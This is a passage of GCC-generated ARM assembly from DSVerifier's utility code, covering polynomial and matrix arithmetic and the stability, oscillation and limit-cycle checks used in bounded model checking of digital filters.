lsr r1, r4, #3
ldr r2, [fp, #-72]
mul r0, ip, r0
add r3, r0, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r0, [fp, #-72]
ldr ip, [fp, #-96]
mul ip, r1, ip
ldr r1, [fp, #-88]
add r1, ip, r1
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-88]
add r3, r3, #1
str r3, [fp, #-88]
.L190:
ldr r2, [fp, #-88]
ldr r3, [fp, #-92]
cmp r2, r3
blt .L191
ldr r3, [fp, #-92]
sub r3, r3, #1
str r3, [fp, #-92]
ldr r3, [fp, #-92]
str r3, [fp, #-100]
b .L188
.L189:
lsr r3, r4, #3
ldr r2, [fp, #-96]
sub r1, r2, #2
ldr r2, [fp, #-72]
mul r1, r3, r1
ldr r3, [fp, #-100]
add r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r6-r7}
lsr r3, r4, #3
ldr r2, [fp, #-96]
sub r1, r2, #2
ldr r2, [fp, #-72]
mul r1, r3, r1
ldr r3, [fp, #-92]
add r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
lsr r3, r4, #3
ldr r2, [fp, #-96]
sub ip, r2, #2
ldr r2, [fp, #-72]
mul r3, ip, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
lsr r3, r4, #3
ldr r2, [fp, #-96]
sub r1, r2, #1
ldr r2, [fp, #-72]
mul r1, r3, r1
ldr r3, [fp, #-100]
add r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r8
mov r1, r9
bl __aeabi_dmul
mov r2, r0
mov r3, r1
lsr r5, r4, #3
mov r0, r6
mov r1, r7
bl __aeabi_dsub
mov r2, r0
mov r3, r1
ldr r0, [fp, #-72]
ldr r1, [fp, #-96]
mul ip, r1, r5
ldr r1, [fp, #-100]
add r1, ip, r1
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
.L188:
ldr r3, [fp, #-100]
add r3, r3, #1
str r3, [fp, #-100]
.L186:
ldr r2, [fp, #-100]
ldr r3, [fp, #-92]
cmp r2, r3
blt .L192
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L185:
ldr r2, [fp, #-96]
ldr r3, [fp, #-84]
cmp r2, r3
blt .L193
ldr r3, [fp, #-72]
ldmia r3, {r0-r1}
mov r3, #1
mov r5, r3
mov r2, #0
mov r3, #0
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
bne .L194
mov r3, #0
mov r5, r3
.L194:
and r3, r5, #255
str r3, [fp, #-60]
mov r3, #0
str r3, [fp, #-96]
b .L195
.L199:
ldr r3, [fp, #-96]
and r3, r3, #1
cmp r3, #0
bne .L196
lsr r3, r4, #3
ldr r2, [fp, #-72]
ldr r1, [fp, #-96]
mul r3, r1, r3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
mov r3, #1
mov r5, r3
mov r2, #0
mov r3, #0
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
bne .L197
mov r3, #0
mov r5, r3
.L197:
and r3, r5, #255
str r3, [fp, #-56]
ldr r2, [fp, #-60]
ldr r3, [fp, #-56]
cmp r2, r3
beq .L208
mov r3, #0
b .L174
.L208:
nop
.L196:
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L195:
ldr r2, [fp, #-96]
ldr r3, [fp, #-84]
cmp r2, r3
blt .L199
mov r3, #1
.L174:
mov sp, r10
ldr r2, .L209
ldr r1, [r2]
ldr r2, [fp, #-40]
eors r1, r2, r1
mov r2, #0
beq .L201
bl __stack_chk_fail
.L201:
mov r0, r3
sub sp, fp, #32
@ sp needed
pop {r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L210:
.align 2
.L209:
.word .LC12
.word .LC9
.word -1074790400
.word .LC10
.word .LC11
.size check_stability, .-check_stability
.align 2
.global poly_sum
.syntax unified
.arm
.fpu softvfp
.type poly_sum, %function
poly_sum:
@ args = 8, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r2, [fp, #-36]
ldr r3, [fp, #-28]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #8]
mov r3, #0
str r3, [fp, #-16]
b .L212
.L215:
ldr r2, [fp, #-28]
ldr r3, [fp, #-36]
cmp r2, r3
ble .L213
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r2, [fp, #-16]
lsl r2, r2, #3
ldr r1, [fp, #4]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r2, [fp, #-28]
ldr r3, [fp, #-36]
sub r3, r2, r3
ldr r2, [fp, #-16]
cmp r2, r3
blt .L214
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #4]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
sub r2, r2, r3
ldr r3, [fp, #-36]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr ip, [fp, #-16]
lsl ip, ip, #3
ldr lr, [fp, #4]
add r4, lr, ip
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
b .L214
.L213:
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-16]
lsl r2, r2, #3
ldr r1, [fp, #4]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r2, [fp, #-36]
ldr r3, [fp, #-28]
sub r3, r2, r3
ldr r2, [fp, #-16]
cmp r2, r3
blt .L214
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #4]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-16]
ldr r3, [fp, #-36]
sub r2, r2, r3
ldr r3, [fp, #-28]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr ip, [fp, #-16]
lsl ip, ip, #3
ldr lr, [fp, #4]
add r4, lr, ip
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
.L214:
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L212:
ldr r2, [fp, #-16]
ldr r3, [fp, #8]
cmp r2, r3
blt .L215
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size poly_sum, .-poly_sum
.align 2
.global poly_mult
.syntax unified
.arm
.fpu softvfp
.type poly_mult, %function
poly_mult:
@ args = 8, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, fp, lr}
add fp, sp, #16
sub sp, sp, #36
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
ldr r2, [fp, #-44]
ldr r3, [fp, #-52]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #8]
mov r3, #0
str r3, [fp, #-32]
b .L217
.L220:
mov r3, #0
str r3, [fp, #-28]
b .L218
.L219:
ldr r2, [fp, #-44]
ldr r3, [fp, #-52]
add r2, r2, r3
ldr r3, [fp, #-32]
sub r2, r2, r3
ldr r3, [fp, #-28]
sub r3, r2, r3
sub r3, r3, #2
str r3, [fp, #-24]
ldr r3, [fp, #-24]
lsl r3, r3, #3
ldr r2, [fp, #4]
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L218:
ldr r2, [fp, #-28]
ldr r3, [fp, #-52]
cmp r2, r3
blt .L219
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L217:
ldr r2, [fp, #-32]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L220
mov r3, #0
str r3, [fp, #-32]
b .L221
.L224:
mov r3, #0
str r3, [fp, #-28]
b .L222
.L223:
ldr r2, [fp, #-44]
ldr r3, [fp, #-52]
add r2, r2, r3
ldr r3, [fp, #-32]
sub r2, r2, r3
ldr r3, [fp, #-28]
sub r3, r2, r3
sub r3, r3, #2
str r3, [fp, #-24]
ldr r3, [fp, #-24]
lsl r3, r3, #3
ldr r2, [fp, #4]
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r2, [fp, #-44]
ldr r3, [fp, #-32]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-52]
ldr r3, [fp, #-28]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-24]
lsl r3, r3, #3
ldr r2, [fp, #4]
add r6, r2, r3
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r6, {r2-r3}
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L222:
ldr r2, [fp, #-28]
ldr r3, [fp, #-52]
cmp r2, r3
blt .L223
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L221:
ldr r2, [fp, #-32]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L224
nop
nop
sub sp, fp, #16
@ sp needed
pop {r4, r5, r6, fp, pc}
.size poly_mult, .-poly_mult
.section .rodata
.align 2
.LC13:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/core/util.h\000"
.align 2
.LC14:
.ascii "!(window_count == window_size)\000"
.text
.align 2
.global double_check_oscillations
.syntax unified
.arm
.fpu softvfp
.type double_check_oscillations, %function
double_check_oscillations:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #36
str r0, [fp, #-40]
str r1, [fp, #-44]
ldr r3, [fp, #-40]
ldmia r3, {r0-r1}
ldr r3, [fp, #-44]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r2-r3}
mov ip, #1
mov r4, ip
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L226
mov r3, #0
mov r4, r3
.L226:
and r3, r4, #255
mov r0, r3
bl __DSVERIFIER_assume
mov r3, #0
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-32]
mov r3, #2
str r3, [fp, #-28]
b .L227
.L235:
ldr r3, [fp, #-28]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-24]
b .L228
.L234:
ldr r2, [fp, #-36]
ldr r3, [fp, #-20]
cmp r2, r3
ble .L229
mov r3, #0
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-32]
.L229:
ldr r2, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r2, r3
str r3, [fp, #-16]
ldr r2, [fp, #-16]
ldr r3, [fp, #-44]
cmp r2, r3
bge .L237
ldr r3, [fp, #-24]
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L231
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-32]
ldr r3, [fp, #-20]
cmp r2, r3
bne .L231
ldr r3, .L238
mov r2, #209
ldr r1, .L238+4
ldr r0, .L238+8
bl __assert_fail
.L231:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L228:
ldr r2, [fp, #-24]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L234
b .L233
.L237:
nop
.L233:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L227:
ldr r2, [fp, #-28]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L235
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L239:
.align 2
.L238:
.word __PRETTY_FUNCTION__.5564
.word .LC13
.word .LC14
.size double_check_oscillations, .-double_check_oscillations
.section .rodata
.align 2
.LC15:
.ascii "window_size %d\012\000"
.align 2
.LC16:
.ascii "%.0f == %.0f\012\000"
.align 2
.LC17:
.ascii "desired_elements %d\012\000"
.align 2
.LC18:
.ascii "found_elements %d\012\000"
.text
.align 2
.global double_check_limit_cycle
.syntax unified
.arm
.fpu softvfp
.type double_check_limit_cycle, %function
double_check_limit_cycle:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
ldr r3, [fp, #-44]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-32]
mov r3, #1
str r3, [fp, #-28]
ldr r3, [fp, #-44]
sub r3, r3, #2
str r3, [fp, #-32]
b .L241
.L246:
ldr r3, [fp, #-32]
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L254
b .L245
.L254:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
ldr r3, [fp, #-32]
sub r3, r3, #1
str r3, [fp, #-32]
.L241:
ldr r3, [fp, #-32]
cmp r3, #0
bge .L246
.L245:
ldr r2, [fp, #-28]
ldr r3, [fp, #-44]
cmp r2, r3
beq .L247
ldr r3, [fp, #-28]
cmp r3, #1
beq .L247
mov r3, #1
b .L248
.L247:
mov r3, #0
.L248:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r1, [fp, #-28]
ldr r0, .L256
bl printf
ldr r3, [fp, #-28]
lsl r3, r3, #1
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-24]
ldr r3, [fp, #-44]
sub r3, r3, #1
str r3, [fp, #-32]
b .L249
.L253:
ldr r2, [fp, #-44]
ldr r3, [fp, #-28]
sub r3, r2, r3
ldr r2, [fp, #-32]
cmp r2, r3
blt .L250
ldr r3, [fp, #-32]
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-32]
ldr r3, [fp, #-28]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r2-r3}
stm sp, {r2-r3}
mov r2, r0
mov r3, r1
ldr r0, .L256+4
bl printf
ldr r2, [fp, #-32]
ldr r3, [fp, #-28]
sub r3, r2, r3
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
ble .L251
ldr r3, [fp, #-32]
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-32]
ldr r3, [fp, #-28]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L251
ldr r3, [fp, #-24]
add r3, r3, #2
str r3, [fp, #-24]
.L250:
ldr r3, [fp, #-32]
sub r3, r3, #1
str r3, [fp, #-32]
.L249:
ldr r3, [fp, #-32]
cmp r3, #0
bge .L253
.L251:
ldr r1, [fp, #-20]
ldr r0, .L256+8
bl printf
ldr r1, [fp, #-24]
ldr r0, .L256+12
bl printf
ldr r2, [fp, #-20]
ldr r3, [fp, #-24]
cmp r2, r3
movne r3, #1
moveq r3, #0
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L257:
.align 2
.L256:
.word .LC15
.word .LC16
.word .LC17
.word .LC18
.size double_check_limit_cycle, .-double_check_limit_cycle
.section .rodata
.align 2
.LC19:
.word __stack_chk_guard
.text
.align 2
.global double_check_persistent_limit_cycle
.syntax unified
.arm
.fpu softvfp
.type double_check_persistent_limit_cycle, %function
double_check_persistent_limit_cycle:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #60
str r0, [fp, #-64]
str r1, [fp, #-68]
ldr r3, .L284
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-44]
ldr r3, [fp, #-64]
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-48]
b .L259
.L265:
ldr r3, [fp, #-48]
lsl r3, r3, #3
ldr r2, [fp, #-64]
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L280
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
b .L262
.L280:
ldr r3, [fp, #-44]
cmp r3, #0
bne .L283
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L262:
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L259:
ldr r2, [fp, #-48]
ldr r3, [fp, #-68]
cmp r2, r3
blt .L265
b .L264
.L283:
nop
.L264:
ldr r2, [fp, #-44]
ldr r3, [fp, #-52]
add r3, r2, r3
str r3, [fp, #-44]
ldr r3, [fp, #-44]
cmp r3, #1
ble .L266
ldr r3, [fp, #-68]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
mov r2, r3
ldr r3, [fp, #-44]
cmp r3, r2
bgt .L266
mov r3, #1
b .L267
.L266:
mov r3, #0
.L267:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr ip, [fp, #-44]
mov r3, sp
mov r4, r3
sub r3, ip, #1
str r3, [fp, #-36]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-32]
mov r3, #0
str r3, [fp, #-48]
b .L268
.L270:
ldr r2, [fp, #-48]
ldr r3, [fp, #-44]
cmp r2, r3
bge .L269
ldr r3, [fp, #-48]
lsl r3, r3, #3
ldr r2, [fp, #-64]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r0, [fp, #-32]
ldr r1, [fp, #-48]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
.L269:
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L268:
ldr r2, [fp, #-48]
ldr r3, [fp, #-68]
cmp r2, r3
blt .L270
mov r3, #0
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-40]
mov r3, #0
strb r3, [fp, #-53]
b .L271
.L276:
ldr r3, [fp, #-48]
add r2, r3, #1
str r2, [fp, #-48]
lsl r3, r3, #3
ldr r2, [fp, #-64]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-40]
add r2, r3, #1
str r2, [fp, #-40]
ldr r2, [fp, #-32]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L281
mov r3, #1
strb r3, [fp, #-53]
ldr r2, [fp, #-40]
ldr r3, [fp, #-44]
cmp r2, r3
bne .L271
b .L282
.L281:
mov r3, #0
strb r3, [fp, #-53]
b .L275
.L282:
mov r3, #0
str r3, [fp, #-40]
.L271:
ldr r2, [fp, #-48]
ldr r3, [fp, #-68]
cmp r2, r3
blt .L276
.L275:
ldrb r3, [fp, #-53] @ zero_extendqisi2
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
eor r3, r3, #1
and r3, r3, #255
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
mov sp, r4
nop
ldr r3, .L284
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L277
bl __stack_chk_fail
.L277:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L285:
.align 2
.L284:
.word .LC19
.size double_check_persistent_limit_cycle, .-double_check_persistent_limit_cycle
.section .rodata
.align 2
.LC20:
.ascii " %.32f \000"
.text
.align 2
.global print_array_elements
.syntax unified
.arm
.fpu softvfp
.type print_array_elements, %function
print_array_elements:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r1, [fp, #-16]
ldr r0, .L289
bl printf
mov r3, #0
str r3, [fp, #-8]
b .L287
.L288:
ldr r3, [fp, #-8]
lsl r3, r3, #3
ldr r2, [fp, #-20]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r0, .L289+4
bl printf
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L287:
ldr r2, [fp, #-8]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L288
ldr r0, .L289+8
bl puts
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L290:
.align 2
.L289:
.word .LC6
.word .LC20
.word .LC8
.size print_array_elements, .-print_array_elements
.align 2
.global double_add_matrix
.syntax unified
.arm
.fpu softvfp
.type double_add_matrix, %function
double_add_matrix:
@ args = 4, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-20]
b .L292
.L295:
mov r3, #0
str r3, [fp, #-16]
b .L293
.L294:
ldr r3, [fp, #-20]
lsl r3, r3, #5
ldr r2, [fp, #-32]
add r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-20]
lsl r3, r3, #5
ldr r2, [fp, #-36]
add r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr ip, [fp, #-20]
lsl ip, ip, #5
ldr lr, [fp, #4]
add r4, lr, ip
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-16]
lsl r1, r1, #3
add r1, r4, r1
stm r1, {r2-r3}
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L293:
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
cmp r2, r3
bcc .L294
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L292:
ldr r2, [fp, #-20]
ldr r3, [fp, #-24]
cmp r2, r3
bcc .L295
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size double_add_matrix, .-double_add_matrix
.align 2
.global double_sub_matrix
.syntax unified
.arm
.fpu softvfp
.type double_sub_matrix, %function
double_sub_matrix:
@ args = 4, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-20]
b .L297
.L300:
mov r3, #0
str r3, [fp, #-16]
b .L298
.L299:
ldr r3, [fp, #-20]
lsl r3, r3, #5
ldr r2, [fp, #-32]
add r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-20]
lsl r3, r3, #5
ldr r2, [fp, #-36]
add r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr ip, [fp, #-20]
lsl ip, ip, #5
ldr lr, [fp, #4]
add r4, lr, ip
bl __aeabi_dsub
mov r2, r0
mov r3, r1
ldr r1, [fp, #-16]
lsl r1, r1, #3
add r1, r4, r1
stm r1, {r2-r3}
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L298:
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
cmp r2, r3
bcc .L299
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L297:
ldr r2, [fp, #-20]
ldr r3, [fp, #-24]
cmp r2, r3
bcc .L300
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size double_sub_matrix, .-double_sub_matrix
.section .rodata
.align 2
.LC21:
.ascii "\012Error! Operation invalid, please enter with val"
.ascii "id matrices.\000"
.text
.align 2
.global double_matrix_multiplication
.syntax unified
.arm
.fpu softvfp
.type double_matrix_multiplication, %function
double_matrix_multiplication:
@ args = 12, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, fp, lr}
add fp, sp, #16
sub sp, sp, #44
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
str r3, [fp, #-60]
ldr r2, [fp, #-52]
ldr r3, [fp, #-56]
cmp r2, r3
bne .L302
mov r3, #0
str r3, [fp, #-40]
b .L303
.L306:
mov r3, #0
str r3, [fp, #-36]
b .L304
.L305:
ldr r3, [fp, #-40]
lsl r3, r3, #5
ldr r2, [fp, #12]
add r2, r2, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L304:
ldr r2, [fp, #-36]
ldr r3, [fp, #-60]
cmp r2, r3
bcc .L305
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L303:
ldr r2, [fp, #-40]
ldr r3, [fp, #-48]
cmp r2, r3
bcc .L306
mov r3, #0
str r3, [fp, #-40]
b .L307
.L312:
mov r3, #0
str r3, [fp, #-36]
b .L308
.L311:
mov r3, #0
str r3, [fp, #-32]
b .L309
.L310:
ldr r3, [fp, #-40]
lsl r3, r3, #5
ldr r2, [fp, #4]
add r2, r2, r3
ldr r3, [fp, #-32]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
lsl r3, r3, #5
ldr r2, [fp, #8]
add r2, r2, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
lsl r3, r3, #5
ldr r2, [fp, #12]
add r2, r2, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, [fp, #-40]
lsl r3, r3, #5
ldr r2, [fp, #4]
add r2, r2, r3
ldr r3, [fp, #-32]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
lsl r3, r3, #5
ldr r2, [fp, #8]
add r2, r2, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-40]
lsl r3, r3, #5
ldr r2, [fp, #12]
add r6, r2, r3
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-36]
lsl r1, r1, #3
add r1, r6, r1
stm r1, {r2-r3}
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L309:
ldr r2, [fp, #-32]
ldr r3, [fp, #-52]
cmp r2, r3
bcc .L310
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L308:
ldr r2, [fp, #-36]
ldr r3, [fp, #-60]
cmp r2, r3
bcc .L311
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L307:
ldr r2, [fp, #-40]
ldr r3, [fp, #-48]
cmp r2, r3
bcc .L312
b .L314
.L302:
ldr r0, .L315
bl puts
.L314:
nop
sub sp, fp, #16
@ sp needed
pop {r4, r5, r6, fp, pc}
.L316:
.align 2
.L315:
.word .LC21
